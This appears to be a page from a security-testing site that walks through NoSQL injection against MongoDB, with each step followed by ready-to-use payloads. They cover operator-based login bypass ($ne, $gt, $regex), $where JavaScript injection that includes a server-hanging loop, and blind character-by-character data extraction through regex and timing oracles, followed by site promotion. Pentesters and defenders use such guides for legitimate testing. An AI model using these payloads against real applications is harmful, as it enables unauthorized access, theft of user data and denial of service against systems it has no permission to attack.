Step-by-step guide to testing for NoSQL injection in MongoDB and similar databases, covering operator injection ($ne, $gt, $where), authentication bypass, and blind data extraction.
Map parameters that reach a NoSQL backend: login forms, search filters, JSON API bodies, and query strings. NoSQL apps often parse JSON or query-string objects, so the same field can be sent as a string or as a nested object — note any endpoint that accepts JSON or bracket notation like user[name].
username=admin&password=test'"`{}{"username":"admin","password":"test"}search=test&filter[role]=admin
Replace a scalar value with a query operator object to change the query's logic. Comparison operators like $ne (not equal), $gt (greater than), and $regex are interpreted by the database instead of treated as data. A response that returns more results or behaves differently confirms the value reaches the query unsanitized.
{"username":"admin","password":{"$ne":null}}{"price":{"$gt":0}}{"email":{"$regex":"^admin"}}username[$ne]=x&password[$ne]=x
Use operator injection against login logic to make the password check always true. Sending {"$ne": null} or {"$gt": ""} for the password matches any stored value, while $regex lets you brute-force or target a specific account. If both fields are injectable, you can log in with no valid credentials at all.
{"username":{"$ne":null},"password":{"$ne":null}}{"username":"admin","password":{"$gt":""}}{"username":{"$regex":"admin"},"password":{"$ne":1}}user[$ne]=1&pass[$ne]=1
Some MongoDB queries evaluate server-side JavaScript via $where, mapReduce, or the deprecated $where string. Injecting a JS expression can leak data or hang the server. Confirm execution with an always-true condition, then weaponize with a sleep loop for a timing oracle.
{"$where":"this.username == 'admin'"}'; return true; var x='
admin' || '1'=='1
'; var d=Date.now(); while(Date.now()-d<5000){}; 'When no data is reflected, infer it character by character. $regex anchored matching turns each request into a true/false oracle: a different response length or status confirms a matching prefix. Where $where is available, a JavaScript timing payload extracts data when no boolean difference is visible.
{"username":"admin","password":{"$regex":"^a"}}{"username":"admin","password":{"$regex":"^pass.*"}}'; if(this.password[0]==='a'){sleep(5000)}; '{"username":{"$regex":"^.{8}$"}}Demonstrate concrete impact: authenticated session without credentials, enumeration of other users' records, or full field extraction via the blind oracle. Document the vulnerable parameter, the operator or $where vector used, the database type, and the data exposed, and note whether the input was accepted as JSON or query-string object notation.
{"username":{"$ne":null},"password":{"$ne":null}}{"role":{"$ne":"user"}}filter[$where]=return true
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides